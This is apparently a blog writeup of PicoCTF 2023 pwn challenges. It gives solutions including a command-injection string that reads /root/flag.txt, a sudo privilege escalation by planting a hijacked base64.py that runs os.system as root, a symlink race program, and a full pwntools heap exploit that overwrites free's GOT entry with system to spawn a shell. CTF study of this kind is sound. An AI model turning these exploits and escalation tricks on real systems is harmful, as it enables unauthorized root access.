现充|junyu33

PicoCTF 2023 pwn wp

Simple yet still engaging.

PicoCTF 2023 Pwn Writeup

challenge babygame01| status: SOLVED | working: T1d

Move to position (-1, 86), and the flag count will be overwritten to 64. Simply input p to obtain the flag.

challenge two-sum | status: SOLVED | issue: T1d

2^31-1 and 1, integer overflow

Challenge VNE | Status: SOLVED | Workflow: T1d

According to the prompt, add environment variables and execute the ls command as root. The first execution of 'ls /root' allows you to see the 'flag.txt' file.

The second execution uses the '&&' symbol to run 'ls /root && cat /root/flag.txt' to retrieve the flag.

Challenge Hijacking | Status: SOLVED | Work: T1d

Using the sudo -l command, it was discovered that the .server.py file can be executed with root privileges without a password. Upon inspecting the file, it was found that the base64 module is imported. A new base64.py file was created in the same directory with the content: import os;os.system('ls -a /root'). Then, by running sudo /usr/bin/python3 /home/picoctf/.server.py, the contents of the root directory were printed, including the .flag.txt file. Subsequently, the base64.py file was modified to import os;os.system('cat /root/.flag.txt'), and executing .server.py again successfully retrieved the flag.

challenge tic-tac | status: SOLVED | author: junyu33

Ref: https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use

// vuln.cpp
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
        while(1) {
                symlink("flag.txt", "test");
                unlink("test");
                symlink("dummy", "test");
                unlink("test");
        }
        return 0;
}
#!/bin/sh
# test.sh
while true
do
    ./txtreader test
done
g++ vuln.cpp -o vuln
nice -20 ./vuln
nice -n 20 ./test.sh

challenge babygame02 | status: SOLVED | worked by: junyu33

Move to position (-1, 51) and replace the tile with \x7c to obtain the flag.

Challenge Horsetrack | Status: SOLVED | Working: T1d

The check reveals that PIE protection is not enabled. The program includes functions to create, delete, and print heap chunks, but printing requires having more than four heap chunks. Additionally, the program does not clear pointers during deletion, and there is a hidden function that allows modifying heaps stored in the heap manager, indicating a UAF vulnerability. Therefore, the solution involves first leaking the XOR encryption key used by tcache, then using the hidden function to add the free function's GOT entry to tcache, and finally modifying the free function's GOT entry to point to system.

from pwn import *

# p = process('./vuln')
p = remote('saturn.picoctf.net', 63361)
elf = ELF('./vuln')
lib = ELF('./libc.so.6')


def choice(id_):
    p.recvuntil(b'Choice:')
    p.sendline(id_)


def change(id_, mess, spot):
    choice(b'0')
    p.recvuntil(b'Stable index # (0-17)?')
    p.sendline(id_)
    p.recvuntil(b'characters:')
    p.sendline(mess)
    p.recvuntil(b'New spot?')
    p.sendline(spot)


def add(id_, size_, mess):
    choice(b'1')
    p.recvuntil(b'Stable index # (0-17)?')
    p.sendline(id_)
    p.recvuntil(b'Horse name length (16-256)?')
    p.sendline(size_)
    p.recvuntil(b'characters:')
    p.sendline(mess)


def delete(id_):
    choice(b'2')
    p.recvuntil(b'Stable index # (0-17)?')
    p.sendline(id_)


[add(str(i), b'23', b'a' * 23) for i in range(0, 5)]
delete(b'0')
add(b'17', b'23', b'\xff')

choice(b'3')
p.recvuntil(b'WINNER: ')
key = u16(p.recv(2))
print(hex(key))

add(b'14', b'24', b'a' * 31)
add(b'15', b'24', b'a' * 31)
delete(b'14')
delete(b'15')

free_got = elf.got['free'] - 0x18
payload = p64(free_got ^ key) + p64(0)
change(b'15', payload, b'16')

payload = b'/bin/sh\00' + b'\xff'
add(b'14', b'24', payload)
payload = p64(0) * 3 + p64(elf.sym['system'])
add(b'15', b'31', payload)
delete(b'14')

p.interactive()